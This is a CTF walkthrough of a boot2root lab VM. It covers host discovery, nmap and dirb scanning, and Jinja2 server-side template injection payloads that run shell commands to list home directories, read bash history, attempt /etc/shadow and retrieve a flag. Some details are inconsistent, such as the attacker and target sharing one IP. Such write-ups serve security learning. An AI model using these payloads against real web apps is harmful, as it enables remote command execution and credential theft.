Description: The Boot2Root CTF Indian Army Terrier Cyber Quest 2025(IATCQ2025) tested core penetration testing skills, including enumeration, exploitation, and privilege escalation.
Level: Hard
Category: Web Penetration Testing
Link: https://iitmpravartak.ctfd.io/
Tactics: Privilege Escalation, Defense Evasion, Command and Control, Enumeration
Tools: VMware, Virtual Box, Nmap, Dirb, netdiscover
I participated in the Boot2Root CTF βIATCQ2025,β which tests enumeration, exploitation, and privilege escalation skills. The challenge provided a .ova file for VMware and VirtualBox. I chose VMware to deploy the target virtual machine.
After importing the .ova file, I configured the network to NAT so that both my Kali Linux machine and the target VM were on the same subnet. This setup ensured proper communication between the attacker and the target.
Screenshot 1: VMware network configuration showing NAT setup.
Before scanning, I checked the Kali VMβs IP address:
ip a
ip a
lists all network interfaces and their IPs.My Kali IP: 192.168.220.132
Screenshot 2: Terminal output showing Kaliβs IP address.
I used Netdiscover to identify all active hosts:
sudo netdiscover -r 192.168.220.0/24
netdiscover
finds live hosts on a subnet.-r
specifies the range of IPs to scan.Discovered the target VM at 192.168.220.132
.
Screenshot 3: Netdiscover output showing active hosts.
Next, I performed a detailed Nmap scan:
nmap -sCV 192.168.220.132
-sC
β runs default NSE scripts.-sV
β detects service versions.Screenshot 4: Nmap scan results showing open ports.
I noticed the web service on port 5000, so I used dirb to find hidden directories:
dirb http://192.168.220.132:5000/
dirb
brute-forces directory names using wordlists.Found /page
endpoint.
Screenshot 5: Dirb output showing /page
.
I tried something:
The /page
form requested a name. I tested SSTI (Server-Side Template Injection):
{{7*7}}
{{ }}
β Jinja2 template syntax.7*7
β evaluated by the server.49
, the server is vulnerable.Read more about SSTI:
Screenshot 6: Browser output showing Hello 49!
.
After confirming that /page
is vulnerable, I enumerated home directories:
{{cycler.__init__.__globals__['os'].popen('ls /home').read()}}
flower
, leaf
, stem
This revealed three user directories.
I explored /home/flower
, /home/leaf
, and /home/stem
using SSTI payloads like:
{{cycler.__init__.__globals__['os'].popen('cat /home/flower/README.txt').read()}}
Many attempts returned empty or permission errors.
Finally, I found an unusual file inside /home/flower
:
{{cycler.__init__.__globals__['os'].popen('cat /home/flower/.bash_history').read()}}
{{cycler.__init__.__globals__['os'].popen('ls+%2F').read()}}
{{cycler.__init__.__globals__['os'].popen('cat /home/flower/F14@_0n3.txt').read()}}
From /etc
, I noticed important files like:
{{cycler.__init__.__globals__['os'].popen('cat /etc').read()}}
adduser.conf
β probably not usefulapache2
β web server configshadow-
β backup of shadow (may still be restricted)passwd
β readable, but probably contains x in place of passwordslook for hidden files in /home/
:
{{cycler.__init__.__globals__['os'].popen('ls -a /home/flower').read()}}
{{cycler.__init__.__globals__['os'].popen('ls -a /home/leaf').read()}}
{{cycler.__init__.__globals__['os'].popen('ls -a /home/stem').read()}}
Try to read the shadow
file using SSTI
{{cycler.__init__.__globals__['os'].popen('cat /etc/shadow').read()}}
Direct reading of /etc/shadow
was blocked.
Then, I explored /opt
:
{{cycler.__init__.__globals__['os'].popen('ls /opt').read()}}
Found /opt/ssti-lab
containing:
{{cycler.__init__.__globals__['os'].popen('ls /opt/ssti-lab').read()}}
app.py
F14@_0n3.txt
static
Finally, I retrieved the first flag:
{{cycler.__init__.__globals__['os'].popen('cat /opt/ssti-lab/F14@_0n3.txt').read()}}
TCQ2025{S3Cur1ty_Br3@k_P@55ed}